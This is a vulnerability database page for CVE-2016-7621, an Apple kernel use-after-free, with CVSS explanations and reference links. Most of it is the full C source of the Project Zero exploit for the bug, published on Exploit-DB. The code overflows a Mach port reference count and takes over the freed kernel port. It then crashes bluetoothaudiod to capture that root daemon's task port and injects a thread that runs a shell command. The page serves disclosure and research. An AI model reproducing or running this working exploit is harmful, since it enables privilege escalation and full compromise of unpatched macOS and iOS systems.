CVE-2016-7621 : Detail

CVE-2016-7621

7.8
/
High
Memory Corruption
0.46%V4
Local
2017-02-20
07h35 +00:00
2017-09-02
07h57 +00:00
CVE.org
NVD
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CVE Descriptions

An issue was discovered in certain Apple products. iOS before 10.2 is affected. macOS before 10.12.2 is affected. watchOS before 3.1.3 is affected. The issue involves the "Kernel" component. It allows local users to execute arbitrary code in a privileged context or cause a denial of service (use-after-free) via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40956

Publication date : 2016-12-21 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=941 Proofs of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40956.zip The previous ref count overflow bugs were all kinda slow because they were quite deep in kernel code, a lot of mach message and MIG code had to run for each leak. There are a handful of mach operations which have their own fast-path syscalls (mach traps.) One of these is _kernelrpc_mach_port_insert_right_trap which lets us create a new mach port name in our process from a port we already have. Here's the code: int _kernelrpc_mach_port_insert_right_trap(struct _kernelrpc_mach_port_insert_right_args *args) { task_t task = port_name_to_task(args->target); ipc_port_t port; mach_msg_type_name_t disp; int rv = MACH_SEND_INVALID_DEST; if (task != current_task()) goto done; rv = ipc_object_copyin(task->itk_space, args->poly, args->polyPoly, (ipc_object_t *)&port); if (rv != KERN_SUCCESS) goto done; disp = (args->polyPoly); rv = mach_port_insert_right(task->itk_space, args->name, port, disp); done: if (task) task_deallocate(task); return (rv); } ipc_object_copyin will look up the args->poly name (with the args->polyPoly rights) in the current process's mach port namespace and return an ipc_port_t pointer in port. If ipc_object_copyin is successful it takes a ref on the port and returns that ref to the caller. mach_port_insert_right will consume that reference but *only* if it succeeds. If it fails then no reference is consumed and we can leak one because _kernelrpc_mach_port_insert_right_trap doesn't handle the failure case. it's easy to force mach_port_insert_right to fail by specifying an invalid name for the new right (eg MACH_PORT_NULL.) This allows you to overflow the reference count of the port and cause a kernel UaF in about 20 minutes using a single thread. ################################################################################ LPE exploit for the kernel ipc_port_t reference leak bug I wanted to explore some more interesting exploit primitives I could build with this bug. One idea I had was to turn a send right for a mach port into a receive right for that port. We can do this by using the reference count leak to cause a port for which we have a send right to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process which had a send right) and forcing the memory to be reallocated with a new port for which we hold a receive right. We could for example target a userspace IPC service and replace a send right we've looked up via launchd with a receive right allowing us to impersonate the service to other clients. Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is called directly. Those kernel-owned receive rights are however still ports and we can free them using the bug; if we can then get that memory reused as a port for which we hold a receive right we can end up impersonating the kernel to other processes! Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these services we can get other processes to send us their task ports and thus gain complete control over them. io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients (or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService port and the message contains the sender's task port as the owningTask parameter :) For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen. We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it parses XPC messages. This doesn't require bluetooth to be enabled. Putting this all together the flow of the exploit looks like this: * get a send right to the IOBluetoothHCIController IOService * overflow the reference count of that ipc_port to 0 and free it * allocate many new receive rights to reuse the freed ipc_port * add the new receive rights to a port set to simplify receiving messages * crash bluetoothaudiod forcing it to restart * bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService * bluetoothaudiod will send its task port to the IOService * the task port is actually sent to us as we have the receive right * we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND Tested on MacOS 10.12 16a323 The technique should work exactly the same on iOS to get a task port for another process from the app sandbox. */ // ianbeer #if 0 LPE exploit for the kernel ipc_port_t reference leak bug I wanted to explore some more interesting exploit primitives I could build with this bug. One idea I had was to turn a send right for a mach port into a receive right for that port. We can do this by using the reference count leak to cause a port for which we have a send right to be freed (leaving a dangling ipc_object pointer in our ports table and that of any other process which had a send right) and forcing the memory to be reallocated with a new port for which we hold a receive right. We could for example target a userspace IPC service and replace a send right we've looked up via launchd with a receive right allowing us to impersonate the service to other clients. Another approach is to target the send rights we can get hold of for kernel-owned ports. In this case whilst userspace does still communicate by sending messages the kernel doesn't actually enqueue those messages; if a port is owned by the kernel then the send path is short-circuited and the MIG endpoint is called directly. Those kernel-owned receive rights are however still ports and we can free them using the bug; if we can then get that memory reused as a port for which we hold a receive right we can end up impersonating the kernel to other processes! Lots of kernel MIG apis take a task port as an argument; if we can manage to impersonate one of these services we can get other processes to send us their task ports and thus gain complete control over them. io_service_open_extended is a MIG api on an IOService port. Interestingly we can get a send right to any IOService from any sandbox as there are no MAC checks to get an IOService, only to get one of its IOUserClients (or query/manipulate the registry entries.) The io_service_open_extended message will be sent to the IOService port and the message contains the sender's task port as the owningTask parameter :) For this PoC expoit I've chosen to target IOBluetoothHCIController because we can control when this will be opened by talking to the com.apple.bluetoothaudiod - more exactly when that daemon is started it will call IOServiceOpen. We can force the daemon to restart by triggering a NULL pointer deref due to insufficient error checking when it parses XPC messages. This doesn't require bluetooth to be enabled. Putting this all together the flow of the exploit looks like this: * get a send right to the IOBluetoothHCIController IOService * overflow the reference count of that ipc_port to 0 and free it * allocate many new receive rights to reuse the freed ipc_port * add the new receive rights to a port set to simplify receiving messages * crash bluetoothaudiod forcing it to restart * bluetoothaudiod will get a send right to what it thinks is the IOBluetoothHCIController IOService * bluetoothaudiod will send its task port to the IOService * the task port is actually sent to us as we have the receive right * we use the task port to inject a new thread into bluetoothsudiod which execs /bin/bash -c COMMAND Tested on MacOS 10.12 16a323 The technique should work exactly the same on iOS to get a task port for another process from the app sandbox. #endif #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <mach/mach.h> #include <mach/mach_vm.h> #include <xpc/xpc.h> #include <IOKit/IOKitLib.h> void run_command(mach_port_t target_task, char* command) { kern_return_t err; // allocate some memory in the task mach_vm_address_t command_addr = 0; err = mach_vm_allocate(target_task, &command_addr, 0x1000, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { printf("mach_vm_allocate: %s\n", mach_error_string(err)); return; } printf("allocated command at %zx\n", command_addr); uint64_t bin_bash = command_addr; uint64_t dash_c = command_addr + 0x10; uint64_t cmd = command_addr + 0x20; uint64_t argv = command_addr + 0x800; uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0}; err = mach_vm_write(target_task, bin_bash, "/bin/bash", strlen("/bin/bash") + 1); err = mach_vm_write(target_task, dash_c, "-c", strlen("-c") + 1); err = mach_vm_write(target_task, cmd, command, strlen(command) + 1); err = mach_vm_write(target_task, argv, argv_contents, sizeof(argv_contents)); if (err != KERN_SUCCESS) { printf("mach_vm_write: %s\n", mach_error_string(err)); return; } // create a new thread: mach_port_t new_thread = MACH_PORT_NULL; x86_thread_state64_t state; mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT; memset(&state, 0, sizeof(state)); // the minimal register state we require: state.__rip = (uint64_t)execve; state.__rdi = (uint64_t)bin_bash; state.__rsi = (uint64_t)argv; state.__rdx = (uint64_t)0; err = thread_create_running(target_task, x86_THREAD_STATE64, (thread_state_t)&state, stateCount, &new_thread); if (err != KERN_SUCCESS) { printf("thread_create_running: %s\n", mach_error_string(err)); return; } printf("done?\n"); } void force_bluetoothaudiod_restart() { xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(conn, ^(xpc_object_t event) { xpc_type_t t = xpc_get_type(event); if (t == XPC_TYPE_ERROR){ printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION)); } printf("received an event\n"); }); xpc_connection_resume(conn); xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "BTMethod", "BTCoreAudioPassthrough"); xpc_connection_send_message(conn, msg); printf("waiting to make sure launchd knows the target has crashed\n"); usleep(100000); printf("bluetoothaudiod should have crashed now\n"); xpc_release(msg); // connect to the service again and send a message to force it to restart: conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(conn, ^(xpc_object_t event) { xpc_type_t t = xpc_get_type(event); if (t == XPC_TYPE_ERROR){ printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION)); } printf("received an event\n"); }); xpc_connection_resume(conn); msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "hello", "world"); xpc_connection_send_message(conn, msg); printf("bluetoothaudiod should be calling IOServiceOpen now\n"); } mach_port_t self; void leak_one_ref(mach_port_t overflower) { kern_return_t err = _kernelrpc_mach_port_insert_right_trap( self, MACH_PORT_NULL, // an invalid name overflower, MACH_MSG_TYPE_COPY_SEND); } void leak_one_ref_for_receive(mach_port_t overflower) { kern_return_t err = _kernelrpc_mach_port_insert_right_trap( self, MACH_PORT_NULL, // an invalid name overflower, MACH_MSG_TYPE_MAKE_SEND); // if you have a receive right } char* spinners = "-\\|/"; void leak_n_refs(mach_port_t overflower, uint64_t n_refs) { int step = 0; for (uint64_t i = 0; i < n_refs; i++) { leak_one_ref(overflower); if ((i % 0x40000) == 0) { float done = (float)i/(float)n_refs; step = (step+1) % strlen(spinners); fprintf(stdout, "\roverflowing [%c] (%3.3f%%)", spinners[step], done * 100); fflush(stdout); } } fprintf(stdout, "\roverflowed \n"); fflush(stdout); } // quickly take a release a kernel reference // if the reference has been overflowed to 0 this will free the object void inc_and_dec_ref(mach_port_t p) { // if we pass something which isn't a task port name: // port_name_to_task // ipc_object_copyin // takes a ref // ipc_port_release_send // drops a ref _kernelrpc_mach_port_insert_right_trap(p, 0, 0, 0); } /* try to get the free'd port replaced with a new port for which we have * a receive right * Once we've allocated a lot of new ports add them all to a port set so * we can just receive on the port set to find the correct one */ mach_port_t replace_with_receive() { int n_ports = 2000; mach_port_t ports[n_ports]; for (int i = 0; i < n_ports; i++) { mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &ports[i]); } // allocate a port set mach_port_t ps; mach_port_allocate(self, MACH_PORT_RIGHT_PORT_SET, &ps); for (int i = 0; i < n_ports; i++) { mach_port_move_member( self, ports[i], ps); } return ps; } /* listen on the port set for io_service_open_extended messages : */ struct service_open_mig { mach_msg_header_t Head; /* start of the kernel processed data */ mach_msg_body_t msgh_body; mach_msg_port_descriptor_t owningTask; mach_msg_ool_descriptor_t properties; /* end of the kernel processed data */ NDR_record_t NDR; uint32_t connect_type; NDR_record_t ndr; mach_msg_type_number_t propertiesCnt; }; void service_requests(mach_port_t ps) { size_t size = 0x1000; struct service_open_mig* request = malloc(size); memset(request, 0, size); printf("receiving on port set\n"); kern_return_t err = mach_msg(&request->Head, MACH_RCV_MSG, 0, size, ps, 0, 0); if (err != KERN_SUCCESS) { printf("error receiving on port set: %s\n", mach_error_string(err)); return; } mach_port_t replaced_with = request->Head.msgh_local_port; printf("got a message on the port set from port: local(0x%x) remote(0x%x)\n", request->Head.msgh_local_port, request->Head.msgh_remote_port); mach_port_t target_task = request->owningTask.name; printf("got task port: 0x%x\n", target_task); run_command(target_task, "touch /tmp/hello_from_fake_kernel"); printf("did that work?\n"); printf("leaking some refs so we don't kernel panic"); for(int i = 0; i < 0x100; i++) { leak_one_ref_for_receive(replaced_with); } } int main() { self = mach_task_self(); // avoid making the trap every time //mach_port_t test; //mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &test); // get the service we want to target: mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); printf("%d : 0x%x\n", getpid(), service); // we don't know how many refs the port actually has - lets guess less than 40... uint32_t max_refs = 40; leak_n_refs(service, 0x100000000-max_refs); // the port now has a reference count just below 0 so we'll try in a loop // to free it, reallocate and test to see if it worked - if not we'll hope // that was because we didn't free it: mach_port_t fake_service_port = MACH_PORT_NULL; for (uint32_t i = 0; i < max_refs; i++) { inc_and_dec_ref(service); mach_port_t replacer_ps = replace_with_receive(); // send a message to the service - if we receive it on the portset then we won: mach_msg_header_t msg = {0}; msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); msg.msgh_remote_port = service; msg.msgh_id = 0x41414141; msg.msgh_size = sizeof(msg); kern_return_t err; err = mach_msg(&msg, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("sending probe: %s\n", mach_error_string(err)); mach_msg_empty_rcv_t reply = {0}; mach_msg(&reply.header, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(reply), replacer_ps, 1, // 1ms 0); if (reply.header.msgh_id == 0x41414141) { // worked: printf("got the probe message\n"); fake_service_port = replacer_ps; break; } printf("trying again (%d)\n", i); // if it didn't work leak another ref and try again: leak_one_ref(service); } printf("worked? - forcing a root process to restart, hopefully will send us its task port!\n"); force_bluetoothaudiod_restart(); service_requests(fake_service_port); return 0; }

Products Mentioned

Configuraton 0

Apple>>Watchos >> Version To (including) 2.2.2

Configuraton 0

Apple>>Iphone_os >> Version To (including) 10.1.1

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.12.1

References

https://support.apple.com/HT207487
Tags : x_refsource_CONFIRM
https://support.apple.com/HT207422
Tags : x_refsource_CONFIRM
http://www.securityfocus.com/bid/94905
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1037469
Tags : vdb-entry, x_refsource_SECTRACK
https://support.apple.com/HT207423
Tags : x_refsource_CONFIRM
https://www.exploit-db.com/exploits/40956/
Tags : exploit, x_refsource_EXPLOIT-DB